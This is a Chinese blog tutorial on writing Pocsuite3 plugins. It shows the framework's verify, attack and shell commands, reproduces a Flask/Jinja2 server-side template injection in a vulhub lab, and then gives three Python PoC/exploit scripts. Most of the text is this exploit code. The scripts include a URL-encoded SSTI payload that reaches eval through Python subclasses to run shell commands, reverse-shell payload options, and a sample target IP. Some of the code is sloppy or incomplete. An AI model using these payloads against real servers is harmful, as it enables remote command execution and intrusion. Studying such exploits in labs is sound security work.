Pocsuite3编写poc

Pocsuite是由“知道创宇404实验室”打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目。

Pocsuite3的安装

  • 通过git命令来克隆代码仓库中的最新源代码。
1
git clone git@github.com:nopesec/pocsuite3.git
  • 下载zip压缩包进行安装
1
wget https://github.com/knownsec/pocsuite3/archive/master.zip
  • 使用pip命令进行安装
1
pip3 install pocsuite3

使用方法

  • Verify验证模式,验证目标是否存在漏洞。-r为脚本路径,-u为目标地址,命令如下:
1
pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --verify
  • 批量验证,将需要验证的所有目标IP写到一个txt文件中批量使用,命令如下:
1
pocsuite.py -r pocs/test1.py -f url.txt --verify
  • 加载文件夹下的所有poc对目标进行测试,-r为文件夹路径,命令如下:
1
pocsuite.py -r pocs/* -u http://192.168.150.15 --verify
  • 使用多线程。
1
pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --verify --threads 10
  • 使用Zoomeye搜索引擎,搜索开放端口为6379的Redis服务,命令如下:
1
cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2
  • Attack模式,向目标发起有效攻击在。
1
pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --attack
  • 使用shell交互模式,对目标进行远程控制,命令如下:
1
pocsuite.py -r pocs/test1.py -u http://192.168.150.15 --shell
  • 使用自定义命令’command’,调用外部传递参数,进行半交互式命令执行,命令如下:
1
pocsuite.py -u http://192.168.150.15 -r pocs/test1.py --attack --command "whoami"

flask ssti漏洞复现

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。

Flask属于微框架,这既是优点也是缺点,优点是框架轻量,更新依赖少,更容易专注于安全方面的漏洞,缺点是不得不通过添加插件来增加依赖列表。Flask依赖中就有造成模板注入漏洞的插件jinja2的模板引擎,Jinja2是一个面向Python的模板语言。

漏洞复现

环境实在docker环境下建立的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 下载靶场源码
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

cd vulhub-master

// 进入漏洞环境目录
cd flask/ssti

// 编译下载漏洞环境所需配置
docker-compose build

// 启动漏洞环境
docker-compose up -d

从这里可以看到靶机运行在8000端口,查看app源代码可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。先手动测以下:

POC脚本的编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
vulID = '1.1' //ssvid ID,如果提交漏洞的同时提交poc,则写成0
version = '1.1' // 默认为1
author = ['1.1'] //poc作者名字
vulDate = '1.1' //漏洞公开的日期
createDate = '1.1' //编写poc的日期
updateDate = '1.1' //poc更新的时间
references = ['1.1'] // 漏洞地址来源
name = 'flack' //poc名称
appPowerLink = 'flack' //漏洞厂商的主页地址
appName = 'flask' //漏洞应用名称
appVersion = 'flask' //漏洞影响版本
vulType = VUL_TYPE.CODE_EXECUTION //漏洞类型
desc = '''

''' //漏洞简要描述
samples = ['96.234.71.117:80'] //测试样例。
category = POC_CATEGORY.EXPLOITS.REMOTE

def _verify(self):
result = {}
path = "/?name="
url = urljoin(self.url,path)
payload = "{{22*22}}"
resq = requests.get(url + payload)

try:

if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
return self.parse_output(result)
def parse_output(self,result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attck(self):
return self._verify()

register_poc(DemoPOC)

执行结果如下:

exp脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['1.1']
name = 'flack'
appPowerLink = 'flack'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''

'''
samples = ['96.234.71.117:80']
category = POC_CATEGORY.EXPLOITS.REMOTE

def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o

def _verify(self):
output = Output(self)
result = {}
# 攻击代码

def trim(str):
newstr = ''
for ch in str: # 遍历每一个字符串
if ch != ' ':
newstr = newstr + ch
return newstr

def _attack(self):
result = {}
path = "?name="
url = self.url + path
# print(url)
cmd = self.get_option("command")
payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
# print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ", "")
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

def _shell(self):
return

def parse_verify(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(DemoPOC)

执行结果如下:

利用pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行半交互控制,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['flask']
name = 'flask'
appPowerLink = 'flask'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''

'''
samples = ['96.234.71.117:80']
category = POC_CATEGORY.EXPLOITS.REMOTE

def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o

def _verify(self):
result = {}
path = "?name="
url = self.url + path
# print(url)
payload = "{{22*22}}"
# print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_verify(result)

def trim(str):
newstr = ''
for ch in str: # 遍历每一个字符串
if ch != ' ':
newstr = newstr + ch
return newstr

def _attack(self):
result = {}
path = "?name="
url = self.url + path
# print(url)
cmd = self.get_option("command")
payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("id").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
# print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ", "")
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

def _shell(self):
return

def parse_verify(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

register_poc(DemoPOC)

执行结果如下:

参考

  • Python安全攻防渗透测试指南